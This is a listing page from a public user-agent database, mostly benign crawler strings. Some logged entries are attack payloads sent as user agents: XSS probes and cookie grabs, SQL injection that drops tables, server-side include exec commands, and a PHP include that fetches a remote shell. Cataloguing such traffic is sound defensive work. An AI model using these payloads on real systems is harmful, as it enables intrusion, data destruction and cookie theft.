Bots vs Browsers : Public Bot / User Agent Database & Commentary

Bots vs Browsers - Public Bot / User Agent Database & Commentary


Home | Archives | About User Agents | User Agent Test Track | Recent Additions | Contributors | Donate | Top Searches | User Agent IP Directory

Bots vs Browsers - database of 872,055 user agents and growing



Browsing Category "All Bots"

Description:
All bots that we have identified belong to this category.


5000 User Agents Found.


Bot !?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat)

Bot !Susie (http://www.sync2it.com/susie)

Bot "<script>alert(/hi/)</script>"

Bot ">'><script><?php include('http://hack-bay.com/Shells/gny.txt?'); ?>&...

Bot ">'><script>alert(123)</script>

Bot ">'><script>alert(123)</script> FirePHP/0.3

Bot "><script>alert(/xss/)</script>

Bot "><script>alert(document.cookie)</script>

Bot "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://ww...

Bot "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www...

Bot "Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www...

Bot "Googlebot/2.1 (+http://www.google.com/bot.html,gzip(gfe) (via translate.google.com)"

Bot "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

Bot "GoogleBot/2.1"

Bot "Googlebot/2.1" (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727;...

Bot "Googlebot/2.1" (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CL...

Bot "Googlebot/2.1",gzip(gfe) (via translate.google.com)

Bot "Googlebot/2.1+(+http://googlebot.com/bot.html)"

Bot "Googlebot/2.1+(+http://www.google.com/bot.html)"

Bot "Googlebot/2.1+(+http://www.googlebot.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://w...

Bot "Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://ww...

Bot "Googlebot/2.1+(http://www.google.com/bot.html)"

Bot "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)"

Bot "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)"

Bot "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Bot "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" (compatible; MSIE 7.0; Wind...

Bot "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" (compatible; MSIE 8.0; Wind...

Bot "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)"

Bot "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4pre) Gecko/2008021019 Fedora/2.0

Bot "Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.go...

Bot "Testbot/1.0 (compatible; Testbot/1.0; +http://www.testbot.com/bot.html

Bot "Testbot/1.0 (compatible; Testbot/1.0; +http://www.testbot.com/bot.html"

Bot "YahooFeedSeeker/2.0+(compatible;+Mozilla+4.0;+MSIE+5.5;+http://publisher.yahoo.com/rssguide)"

Bot # UA "Googlebot-Image/1.0"

Bot # UA "Googlebot-Image/1.0"

Bot # UA "Googlebot-Image/1.0"

Bot # UA "Googlebot/Test (+http://www.googlebot.com/bot.html)"

Bot # UA "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)"

Bot # UA "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Bot # UA Googlebot-Image/1.0 FirePHP/0.3

Bot #1 in Business Networking, www.MarcusWalker.ws

Bot $_agentname

Bot %3Cscript%3Dalert('helo');%3C/script%3D

Bot &I=F4750FF73B4079D9DD67B33448E2ED88-4FAA9F0878DA42FB-00C0DC9C8F282D2D-www.versionsofthebible.org

Bot '';!--"<>=&{()}<a href="http://cstrikedownload.xtgem.com">onl...

Bot '';!--"<>=&{()}<a href="http://google.com">online java game&a...

Bot '';!--"<>=&{()}<a href="http://unicornleapfrog.com/Shooting/UFOS"&am...

Bot '); select * from user;--

Bot '; DROP TABLE IF EXISTS user,users,members,admin,log,logs,data,post,posts,news --

Bot '; DROP TABLE-- ">'><h1>I made you a cookie, but I eated it :( .</h1>...

Bot 'autokrawl'

Bot 'Googlebot/2.1

Bot 'Mediapartners-Google'

Bot ( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi )

Bot (+http://www.google.com/bot.html)

Bot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot (Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html); ; )

Bot (http://www.googlebot.com/bot.html)

Bot * Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot */Nutch-0.9

Bot */Nutch-0.9-dev

Bot *Googlebot/2.1+ (+http://www.google.com/bot.html)*

Bot +http//www.google.com/bot.html

Bot +http://hilfe.acont.de/bot.html ACONTBOT

Bot +http://www.google.com/bot.html

Bot +http://www.google.com/bot.html)

Bot +http://www.googlebot.com/bot.htm

Bot +http://www.googlebot.com/bot.html

Bot +kmem/kernel_memory (Pinto; Turbo EFI) 2300_4-cylinder

Bot +SitiDi.net/SitiDiBot/1.0 (+Have Good Day)

Bot --><script>alert('pwned')

Bot -http://www.googlebot.com/bot.html

Bot ./bbl_list.pl/0.1 libwww-perl/5.805

Bot ./get_title2.cgi/0.1 libwww-perl/5.837

Bot .NET Framework Test Client

Bot / \ " <br> <a href="http://www.bash.ch/">www.bash.ch</a&am...

Bot /usr/bss_miner/user_agents

Bot : Robot/1.0 (linux) (admin e-mail: http://www.neofonie.de/loesungen/search/robot.html undefined)

Bot : Robot/1.0 (linux) (admin e-mail: http://www.neofonie.de/loesungen/search/robot.html undefined),gzip(gfe) (via translat...

Bot ::_detectURL

Bot ;'"><script>window.location="http://trizen.home.ro/sexy"</script&...

Bot ;'"><script>window.location="http://trizen.home.ro/test.html"</sc...

Bot <!--#exec cmd="/bin/id"-->

Bot <!--#exec cmd="ls"-->

Bot <? SELECT * FROM information_schema.tables WHERE information_schema=database() ?>

Bot <?php 'UNION ALL SELECT 1,2,3,4,5' php?>

Bot <?php echo "B" ?>

Bot <?php phpinfo(); ?>

Bot <b> Runnk RSS finder: http://www.runnk.com/il/law : Israeli legal : Mishpat : עו&#...

Bot <b>Sawah Bwowser V 1.59 (WinXP)</b>

Bot <body onunload="javascript:alert('Trizen');">

Bot <iframe src="http://trizen.home.ro" width="800" height="600&quot...

Bot <iframe src=http://trizen.home.ro width=800 height=600>

Bot <iframe src=http://trizen.home.ro/sexy width=800 height=600>

Bot <img src="http://www.google.com/intl/en_ALL/images/logo.gif" alt="GO FUCK YOURSELF&...

Bot <img src="javascript:alert('TriZeN')">

Bot <IMG SRC=http://i.zdnet.com/blogs/hacked_message.jpg>

Bot <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty...

Bot <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty...

Bot <scblockedript>document.body.innerHTML="<style>body{visibility:hidden;}</sty...

Bot <useragent description="User Agent" useragent="Mozilla/5.0 (compatible; Googlebot/2.1;...

Bot ?<script.error?/?danish? (sjc0.tdmsic.org - Red Hat)

Bot ?><?php phpinfo(); ?>

Bot ?script.error?/?danish? (sjc0.tdmsic.org - Red Hat)

Bot @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html&quot...

Bot @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html&quot...

Bot @=”Googlebot/2.1? (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Creative AutoUpdate v1.10.10)

Bot @=”Googlebot/2.1? (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Creative AutoUpdate v1.10.1...

Bot [HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User agente] @ = "Googlebot/2.1&...

Bot \' exec sp_MSforeachtable "DROP TABLE ? PRINT '? dropped' "

Bot ^Byte (http://CaretByte.com)

Bot ^Nail (http://CaretNail.com)

Bot _detectURL

Bot {0}{1}VelocityWebshots/3.0 (+http://webshots.velocitysc.com)

Bot 100pulse/1.0

Bot 12345 AutoPager/0.5.2.2 (http://www.teesoft.info/)

Bot 12345 FirePHP/0.3

Bot 12345 MRA 5.6 (build 03278);

Bot 12345 MRA 5.6 (build 03278); SmartLinksAddon

Bot 123peoplebot/1.0

Bot 123spider-Bot (Version: 1.02, powered by www.123spider.de

Bot 12scripts.com / Redirect v1.26

Bot 1st ZipCommander (Net) - http://www.zipcommander.com/

Bot 20090608_web_ab larbin2.6.3@unspecified.mail

Bot 20090608_web_ac larbin2.6.3@unspecified.mail

Bot 20090608_web_ad larbin2.6.3@unspecified.mail

Bot 20090608_web_aq larbin2.6.3@unspecified.mail

Bot 20090608_web_as larbin2.6.3@unspecified.mail

Bot 20090608_web_bf larbin2.6.3@unspecified.mail

Bot 20090717_aa_page larbin2.6.3@unspecified.mail

Bot 20090717_ab_page larbin2.6.3@unspecified.mail

Bot 360jinrong.com(http://www.360jinrong.com/new/index.asp)

Bot 4.1.0 Profile

Bot 4.Platz im GIGA-Homepage-Award - http://www.computerproblemboard.de

Bot 411.info

Bot 411.info Crawler (http://411.info)

Bot 411.info WebBot/0.1 (http://411.info/)

Bot 50.nu V0.01 beta ( http://www.50.nu/bot.html )

Bot 50.nu/0.01 ( +http://50.nu/bot.html )

Bot 66.249.64.13 - crawl-66-249-64-13.googlebot.com

Bot 66.249.65.70 - crawl-66-249-65-70.googlebot.com

Bot 8484 Boston Project v 1.0

Bot 8bo Crawler Bot

Bot A .NET Web Crawler

Bot A-listed Tablet-emu.view/danish (sjc0.tdmsic.org - Red Hat)

Bot “Googlebot/2.1+(+http://www.google.com/bot.html)"

Bot “Googlebot/2.1+(+http://www.google.com/bot.html)”

Bot “Googlebot/2.1+(+http://www.google.com/bot.html)”.

Bot “Googlebot/2.1+(+http://www.googlebot.com/bot.html)”

Bot “Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/...

Bot ”Mozilla/5.0 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Bot „Googlebot/2.1 (+http://www.google.com/bot.html)“

Bot “Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.goo...

Bot A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27

Bot A1 Sitemap Generator/1.4.9 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2007.07.09

Bot abc/Nutch-0.9-dev (abc; http://abc#11.us; abc at abc dot com)

Bot Abortion.sg/Nutch-1.1 (www.Abortion.sg; crawler@Abortion.sg)

Bot Abot

Bot abot/0.1 (abot; http://www.abot.com; abot@abot.com)

Bot AboutUsBot

Bot ac-baidu.bot

Bot AC-BaiduBot/1.1(+http://www.ac-baidu.com)

Bot AcadiaUniversityWebCensusClient

Bot Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)

Bot Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)

Bot Ace Explorer

Bot ACME Corporation/Nutch-1.0 (ACME Spider; http://www.acme.com; test123@spam.la)

Bot AcoiRobot

Bot Acoon-Robot 4.0.0RC2 (http://www.acoon.de)

Bot Acoon-Robot 4.0.1 (http://www.acoon.de)

Bot Acoon-Robot 4.0.2.17 (http://www.acoon.de)

Bot Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)

Bot acquia-crawler (detected bad behaviour? please tell us at it@acquia.com)

Bot AcquiaCrawler

Bot Active Whois 4488 http://www.johnru.com/active-whois/

Bot ActiveWorlds/3.xx (xxx)

Bot Ad Muncher v4.7 Build 27105/1371

Bot Ad Muncher v4.71 Build 28140/1889 [1742]

Bot Ad Muncher v4.72 Build 30400/1967

Bot Ad Muncher v4.72 Build 30400/2235

Bot Ad Muncher v4.81 Build 31376/2807

Bot adidxbot/1.1 (+http://search.msn.com/msnbot.htm)

Bot Adirbot/1.0 (+http://www.adir.com)

Bot AdsBot-Google

Bot AdsBot-Google (+http://www.google.com/adsbot.html)

Bot AdsBot-Google (TEST)

Bot AdsBot-Google-Mobile (Android; +http://www.google.com/adsbot.html) AppleWebKit

Bot AdsBot-Google-Mobile (Mozilla/5.0 (Linux; U; Android 1.0) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Mobile S...

Bot AdsBot-Google-Mobile (Mozilla/5.0 (Linux; U; Android 1.0) AppleWebKit/525.10+(KHTML, like Gecko) Version/3.0.4 Mobile Sa...

Bot AdSenserBot

Bot AdultsVisit.us/Nutch-1.0 (www.AdultsVisit.us; crawler@AdultsVisit.us)

Bot AdultsVisitUs/Nutch-1.1 (www.AdultsVisitUs.com; crawler@AdultsVisitUs.com)

Bot Advanced URL Catalog 2.x

Bot AEL/www.ael.be - Anonymous Proxy - We protect fundamental rights (Linux; Intel)

Bot AESOP_com_SpiderMan

Bot africa/Nutch-0.9 (africa; localhost; localhost)

Bot again/1.0

Bot agbot/1.0 (AgHaven.com search engine crawler; http://search.aghaven.com; bot@aghaven.com)

Bot AgentName/0.1 libwww-perl/5.812

Bot AgentName/0.1 libwww-perl/5.813

Bot AgentName/0.1 libwww-perl/5.831

Bot AgentName/0.1libwww-perl/5.805

Bot AgentName/0.1libwww-perl/5.836

Bot agentname/Nutch-1.0-dev

Bot Aghaven/Nutch-1.2

Bot AHSHTTP_POST_R

Bot AIBOT/2.1 By +(www.21seek.com , A Real artificial intelligence search engine , China)

Bot AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)

Bot AideRSS 2.0 (postrank.com)

Bot AideRSS/1.0 (aiderss.com)

Bot AideRSS/2.0 (aiderss.com)

Bot aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)

Bot aipbot/2 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)

Bot aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)

Bot AISearchBot (Email: aisearchbot@gmail.com; If your web site doesn't want to be crawled, please send us a email.)

Bot AISearchBot (Email: aisearchbot@gmail.com; We love searching and we'll stop crawling immediately depending on your attit...

Bot AJakieToMaZnaczenie/11.2 (compatible; R2D2; C3PO 12-bit; pl-PL) Future/20090507 Jejku/1.2.3.4

Bot Aji%20Reader/2.5 CFNetwork/459 Darwin/10.0.0d3

Bot ajSitemap ( www.web-max.ca/freeware/ajSitemap )

Bot AKHBOT/1.1 (compatible; MSIE 7.0; Windows NT 6.0)

Bot al_viewer larbin2.6.3@unspecified.mail

Bot alef/0.0

Bot alert(/xss/)

Bot alexa v0.1.4 (http://www.openwebspider.org/)

Bot AlexfDownload

Bot AlienInvaders/1.0 (X11; U; MartianSoftware x86_64; ar-AR; rv:0.0.0) GreenSkin/20121223 Ares/1.00 (mothership) Starship/0...

Bot AlienInvaders/1.0 (X11; U; MartianSoftware xyz_2064; ar-AR; rv:0.0.0) GreenSkin/20121223 mlks/1.00 (mothership) Starship...

Bot all_web1 larbin2.6.3@unspecified.mail

Bot all_web2 larbin2.6.3@unspecified.mail

Bot all_web3 larbin2.6.3@unspecified.mail

Bot allizoM

Bot allizoM,gzip(gfe) (via translate.google.com)

Bot Allrati/1.1 (+)

Bot AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net

Bot AltaVista Intranet V2.0 www.altavista.de search-support@altavista.de

Bot Altresium/4.3 (+http://www.altresium.com/bot.html)

Bot amaya/10.1 libwww/5.4.0

Bot amaya/11.1 libwww/5.4.0

Bot amaya/6.4 libwww/5.3.1

Bot amd-source-bot/Nutch-1.0

Bot Ameblo-Crawler(Mozilla-compatible; http://ameblo.jp/star-emily/theme-10030867205.html )

Bot Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)

Bot amibot - http://www.amidalla.de - tech@amidalla.com libwww-perl/5.805

Bot amibot - http://www.amidalla.de - tech@amidalla.com libwww-perl/5.831

Bot Amit Singh/Nutch-0.9 (Amit Singh; www.cse.iitb.ac.in/~amitsingh; amitsingh@gmail.com)

Bot Amoena Toolkit/1.0

Bot Anemone/0.3.1

Bot Anemone/0.4.0

Bot Anon/1.0

Bot Anonymous Proxy at example.com (Linux; Intel)

Bot AnoProxy 1.20

Bot Another Python Crawler

Bot AnswerBus (http://www.answerbus.com/)

Bot Ant/Ant-Nutch-1.1 (Ant Nutch Crawler; http://www.ant.com; crawler@ant.com)

Bot AntBot/Ant-Nutch-1.1 (Ant Nutch Crawler; http://www.ant.com; crawler@ant.com)

Bot Anti-XBOCT/2007 [xxx] (OS; X; JU)

Bot AntiOpensourceBot/1.1 (http://microsoft.com/antiopensourceprotection.html) Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:...

Bot AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)

Bot AOL_Daniel_Clark_Spider/Nutch-0.9 (AOL Search; danielaclark1@aol.com)

Bot Apache

Bot Apache-HttpClient/4.0-beta2 (java 1.5)

Bot Apache-HttpClient/4.0.1 (java 1.5)

Bot Apache-HttpClient/4.0.3 (java 1.5)

Bot Apache-HttpClient/4.1 (java 1.5)

Bot Apache-HttpClient/UNAVAILABLE

Bot Apache-HttpClient/UNAVAILABLE (java 1.4)

Bot apache.org/Nutch-0.9 (apache; http://www.apache.org; users@apache.org)

Bot Apexoo Spider (http://www.apexoo.com/spider/)

Bot Apexoo Spider 1.0

Bot Apexoo Spider 1.1

Bot Aplix HTTP/1.0.1

Bot Apostrophe/0.2.1.93 (compatible) filecache

Bot AppEngine-Google; (+http://code.google.com/appengine)

Bot AppEngine-Google; (+http://code.google.com/appengine; 2dgalcz)

Bot AppEngine-Google; (+http://code.google.com/appengine; appid: bypass-proxy)

Bot AppEngine-Google; (+http://code.google.com/appengine; appid: deep-diver-sandbox)

Bot AppEngine-Google; (+http://code.google.com/appengine; appid: getfavicon)

Bot appie 1.1 (www.walhello.com)

Bot AppleSyndication/54

Bot ArabCoders 3.0 (CLR/2.2.1.1.0)

Bot ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)

Bot aranhabot

Bot ArchitextSpider

Bot archive.org_bot

Bot Arexx (AmigaVoyager/2.95; AmigaOS/MC680x0; Mod-X by Pe)

Bot aria2

Bot ArteLab WebCrawler

Bot ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)

Bot Aside/0.1.8.72 (compatible) filecache

Bot Ask Jeeves/1.0

Bot asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)

Bot ASPSeek/1.2.xxpre

Bot Assonance/0.1.8.72 (compatible) filecache

Bot Asynchronous WinHTTP Demo/1.0

Bot AsyncHttpClient 1.0

Bot Atig::Http/b6647d90e8b2f7936a05aae175f644b131b96367 (http.rb; net-irc) Ruby/1.8.7 (x86_64-linux)

Bot atlantic/0.1 (+http://bot.macrothela.net)

Bot atlantic/0.10 (+ http://bot.macrothela.net)

Bot atlantic/0.10 (+http://bot.macrothela.net)

Bot atlantic/0.11 (+http://bot.macrothela.net)

Bot atlantic/0.2 (+http://bot.macrothela.net)

Bot atlantic/0.5 (+http://bot.macrothela.net)

Bot atlantic/0.6 (+http://bot.macrothela.net)

Bot atlantic/0.8 (+http://bot.macrothela.net)

Bot atlantic/0.9 (+http://bot.macrothela.net)

Bot AtlasGrid-Bot

Bot Atomic_Email_Hunter/4.0

Bot Atomic_Email_Hunter/4.0 (iPod; U; CPU like Mac OS X; en; ) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A10...

Bot Atomic_Email_Hunter/4.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF83) AppleWebKit/533.1 (KHTML, like Gecko) Vers...

Bot Atrax Solutions atraxbot/0.3; http://www.atraxsolutions.com/atraxbot

Bot atraxbot/0.2

Bot Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com)

Bot Attributor.comBot

Bot Attributor/Dejan-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

Bot Attributor/Nutch-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

Bot AurNet07

Bot autokrawl

Bot AutoMapIt Sitemaps - HTTP Status Bot (http://www.automapit.com/headerchecker.html)

Bot AutoMapIt Sitemaps - LinkChecker Bot (http://www.automapit.com/bot.html)

Bot autowebdir 1.1 (www.autowebdir.com)

Bot Awahili/7 (http://www.awahili.com)

Bot awesomebar_scraper/1.0

Bot aworm-injector/2.00.1a (Red Hat Server-EDT) - http://www.tdmsic.org

Bot Axmorobot indexing your site for search.axmo.com - World Wide Search Engine from Axmo.com

Bot Axonize-bot

Bot Ayna/Nutch-0.9 (Ayna Search Engine Crawler; http://www.ayna.com/; search at aynacorp dot com)

Bot Aynchronous WinHTTP Demo/1.0

Bot Azureus/4306

Bot baa [the_sheep]

Bot BaboomBot/1.[0-255].[0-255] (\+http://www.baboom.us)

Bot badLinks.ru`s crawler v.2

Bot baidu bot6483052

Bot baidu/Nutch-1.0

Bot Baiduspider

Bot BaiduSpider+ (+; http://www.baidu.com/search/spider.htm; Ubuntu; Compatible; Version; Platform; .NET CLR 2.0.50727; Vers...

Bot Baiduspider+ (+http://www.baidu.com/search/spider_jp.html; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; ...

Bot Baiduspider+(+baidu/search/spider.htm:baidu/search/spider.htm)

Bot Baiduspider+(+http://help.baidu.jp/system/05.html)

Bot Baiduspider+(+http://www.baidu.com/search/spider.htm)

Bot Baiduspider+(+http://www.baidu.com/search/spider_jp.html

Bot Baiduspider+(+http://www.baidu.com/search/spider_jp.html)

Bot Baiduspider+(+http://www.baidu.jp/spider/)

Bot Baiduspider+(http://abwc.iespana.es/last.php)

Bot Baiduspider-favo+(+http://www.baidu.com/search/spider.htm)

Bot Baiduspider-image+(+http://www.baidu.com/search/spider.htm)

Bot baiduspider-mobile-gate

Bot Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.co...

Bot Barca/2.0.xxxx

Bot Basalt v090b

Bot BatchScan

Bot baypup/1.1 (Baypup; http://www.baypup.com/; jason@baypup.com)

Bot baypup/colbert (Baypup; http://sf.baypup.com/about; jason@baypup.com)

Bot baypup/colbert (Baypup; http://sf.baypup.com/webmasters; jason@baypup.com)

Bot BDFetch

Bot BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)

Bot BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686),gzip(gfe) (via translate...

Bot beast/Nutch-0.9 (agentspider; beast@mail.com)

Bot BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )

Bot BeckyBot/2.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Bot becomex /Google-11.0

Bot becomex /Nutch-0.9

Bot becomex /Nutch-1.0

Bot Begun Robot Crawler

Bot bender/Nutch-0.8.1 (myd@cs.stanford.edu)

Bot bensbot

Bot betaBot

Bot Biglotron-3.01 larbin2.6.3@unspecified.mail

Bot Biglotron-3.01 robot@too.org

Bot Bigsearch.ca/Nutch-0.9-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)

Bot Bigsearch.ca/Nutch-1.0-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)

Bot BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)

Bot bim-zone (+http://www.bim-zone.com)

Bot Bimbot/1.0

Bot BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/)

Bot BingSearch/1.0.0 CFNetwork/459 Darwin/10.0.0d3

Bot binlar_2.6.3 binlar2.6.3@unspecified.mail

Bot bitlybot

Bot bitlybot/2.0

Bot bitmagicbot/0.1 admin@bitmagic.in

Bot BitTorrent/3.4.2

Bot BitvoUserAgent (+http://www.bitvo.com) Bitvo/0.9b

Bot Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)

Bot Biz360 spider (blogsmanager@biz360.com; http://www.biz360.com)

Bot BKA WebSiteChecker/0.98-20080419

Bot blackcrawl/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)

Bot blackspider

Bot Blaiz-Bee/2.00.5502 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.5622 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.5655 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.8315 (BE Internet Search Engine http://www.rawgrunt.com)

Bot bleeding-sucker-bot (+http://www.suckingbleeder.org)

Bot Blern 1.4

Bot blind-dice

Bot Blog Conversation Project; blogs@iq.harvard.edu; http://gking.harvard.edu/blogconv/

Bot BlogBridge 3.0.1 Discoverer (http://www.blogbridge.com/)

Bot BlogBridge 4.0 Discoverer (http://www.blogbridge.com/) Java/1.5.0_03

Bot BlogBridge Service (http://www.blogbridge.com/) Java/1.5.0_09

Bot BlogCorpusCrawler 1.414213 <http://wortschatz.uni-leipzig.de/~mrichter/BCC/>

Bot Bloglines/2.1 (http://www.bloglines.com; xx subscribers)

Bot Bloglines/2.1 (http://www.bloglines.com;xx subscribers)

Bot Bloglines/3.1 (http://www.bloglines.com)

Bot BlogPulseLive (support@blogpulse.com)

Bot BlogRangerCrawler/1.0

Bot BlogSearch/1.0 +http://www.icerocket.com/

Bot blogsearchbot-pumpkin-2

Bot blogsearchbot-pumpkin-3

Bot BloobyBot

Bot Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.as...

Bot Blubberlutsch/1.0

Bot BlueCrab/4.9.5 (Macintosh; U; PPC Mac OS X; en)

Bot BlueDragon

Bot BM-WebExplorer-DLL/v1.1h

Bot BND WebSiteChecker/0.95-20080408

Bot bnyonkqwyagacpbyfhwft

Bot bob/Nutch-0.9 (bob; http://www.google.com; x@y)

Bot BobCrawl/Nutch-0.9 (Test/Development crawler; http://notavalable.com; notavailable@notavailable.com)

Bot boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.86 ( http://www.boitho.com/dcbot.html )

Bot boo/Nutch-1.0

Bot boo/Nutch-1.0 (boo)

Bot Bookdog/4.3.0

Bot Bookdog/5.1.12

Bot Bookdog/5.1.36

Bot Bookdog/5.1.44

Bot Bookdog/5.2

Bot Bookdog/5.3.10

Bot Bookdog/5.3.13

Bot Bookdog/5.3.15

Bot Bookdog/5.3.3

Bot Bookdog/5.3.6

Bot Bookdog/5.3.8

Bot BookMacster/1.0.5

Bot BookMacster/1.2.6

Bot BookMacster/1.3.1

Bot BookMacster/1.3.10

Bot BookMacster/1.3.14

Bot BookMacster/1.3.17

Bot BookMacster/1.3.9

Bot Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/))

Bot BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 2; en-US;)

Bot BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 3; en-US;)

Bot Booster/1.0

Bot bot

Bot bot (Java Hotspot(TM) Server 64-Bit VM; +http://www.daniel-nowak-ug.de) Resource Description Engine

Bot Bot </a><a href='http://www.bringvictory.com'>Bring Vctory</a> - You Corrupt M...

Bot Bot Apoena 2.0; http://www.katatudo.com.br/ajuda/

Bot Bot Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html)

Bot Bot.ara.com.tr/0.0.1

Bot bot/1.0

Bot bot/1.0 (bot; http://; bot@bot.bot)

Bot bot/1.0 (bot; http://www.bot.bot; bot@bot.bot)

Bot botbot 14.1.3

Bot BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1)

Bot BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 3.0.04506.30)

Bot Botix/0.1 (<a href="http://botix.org/robot">http://botix.org/robot</a>)

Bot BotTracer; (+http://www.informacja.pl) visited appointmentnet.com

Bot BotTracer; (+http://www.informacja.pl) visited botsvsbrowsers.com

Bot BotTracer; (+http://www.informacja.pl) visited cutaboverealtyagents.com

Bot BotTracer; (+http://www.informacja.pl) visited dealershipnet.com

Bot BotTracer; (+http://www.informacja.pl) visited findasurgeononline.com

Bot BotTracer; (+http://www.informacja.pl) visited localbeautyschools.com

Bot BotTracer; (+http://www.informacja.pl) visited localcardiologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localchiros.com

Bot BotTracer; (+http://www.informacja.pl) visited localdermatologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localendocrinologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localeyedoctor.com

Bot BotTracer; (+http://www.informacja.pl) visited localhomelenders.com

Bot BotTracer; (+http://www.informacja.pl) visited localoncologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localorthopedists.com

Bot BotTracer; (+http://www.informacja.pl) visited localpathology.com

Bot BotTracer; (+http://www.informacja.pl) visited obgyn-search.com

Bot BotTracer; (+http://www.informacja.pl) visited quickcityinfo.com

